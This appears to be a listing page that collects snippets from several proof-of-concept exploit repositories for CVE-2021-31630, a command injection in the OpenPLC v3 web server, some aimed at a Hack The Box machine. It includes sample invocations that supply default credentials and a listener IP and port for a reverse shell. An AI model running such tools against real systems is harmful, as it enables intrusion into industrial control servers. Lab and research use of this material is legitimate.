cve-2021-31630

本脚本可自动利用 OpenPLC Web Server v3 中的漏洞。 您将能够与服务器建立自动反向 Shell，无需使用手动技术。 CVE-2021-31630 详情 Open PLC Webserver v3 中的命令注入漏洞允许远程攻击者通过应用程序 "/hardware" 页面上的 "Hardware Layer Code Box" 组件执行任意代码。 该脚本经过定制，完成在 OpenPLC 中的注册后，会在同一终端生成机器的 Shell。 使用以下命令（建议创建 Python 虚拟环境安装依赖项） 但是，breakerplc.py 脚本必须在虚拟环境外执行。...

CVE-2021-31630

CVE-2021-31630 修改了Fellipe Oliveira为HTB编写的PoC CVE-2021-31630脚本 用法 '示例用法: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444 -P program.st"'...

htb-wifinetictwo-exploit

CVE-2021-31630 PoC de Exploit Este script de Python es un exploit de Prueba de Concepto PoC para CVE-2021-31630, dirigido a una vulnerabilidad en OpenPLC que se ejecuta en la máquina WifineticTwo de HackTheBox. Está diseñado únicamente con fines educativos, con el objetivo de demostrar el proceso...

OpenPLC-CVE-2021-31630-RCE

OpenPLC v3 认证远程代码执行 CVE-2021-31630 这是一个现代 Python 3.13+ 兼容的概念验证漏洞利用程序，用于 CVE-2021-31630，该漏洞存在于 OpenPLC v3 中，允许认证用户上传包含恶意代码的自定义硬件层，从而导致在主机上远程执行代码（RCE）。 原始漏洞发现和报告由 Fellipe Oliveira 提供。 此重新实现和现代化版本使用 httpx、CLI 工具、日志记录和更安全的检测技术。 漏洞利用概述 漏洞：CVE-2021-31630 组件：OpenPLC v3 Web 服务器 影响：认证远程代码执行 RCE...

CVE-2021-31630-HTB

CVE-2021-31630 漏洞利用 针对 Hack The Box 平台 WifineticTwo 主机上 OpenPLC 的 CVE-2021-31630 漏洞利用 PoC， 此脚本作为 CVE-2021-31630 的概念验证 PoC 漏洞利用，针对 Hack The Box 平台上 WifineticTwo 主机运行的 OpenPLC 服务。 用法 root@kitploit: python exploit.py -ip -p -u -pwd root@kitploit: python ./exploit.py -ip 10.10.16.5 -p 1337 -u openplc...

CVE-2021-31630

Command Injection in Open PLC Webserver v3 allows remote attackers to execute arbitrary code via the "Hardware Layer Code Box" component on the "/hardware" page of the application...

Exploit for Code Injection in Openplcproject Openplc_V3_Firmware

This script automatically exploits vulnerability in OpenPLC Web...

Exploit for Code Injection in Openplcproject Openplc_V3_Firmware

CVE-2021-31630 Modified the PoC CVE-202...

Exploit for Code Injection in Openplcproject Openplc_V3_Firmware

CVE-2021-31630 Exploit This PoC was originally developed by...

Exploit for Code Injection in Openplcproject Openplc_V3_Firmware

cve-2021-31630 OpenPLC WebServer v3 - Authenticated RCE T...

Exploit for Code Injection in Openplcproject Openplc_V3_Firmware

CVE-2021-31630 Exploit CVE-2021-31630 Exploit PoC for OpenPLC...

CVE-2021-31630

Command Injection in Open PLC Webserver v3 allows remote attackers to execute arbitrary code via the "Hardware Layer Code Box" component on the "/hardware" page of the application...

CVE-2021-31630

CVE-2021-31630 affects OpenPLC WebServer v3. It enables command injection via the Hardware Layer Code Box on the /hardware page, allowing remote code execution. Multiple connected sources (Red Hat advisory and various PoCs/exploits on GitHub) describe authenticated or near-authenticated workflows...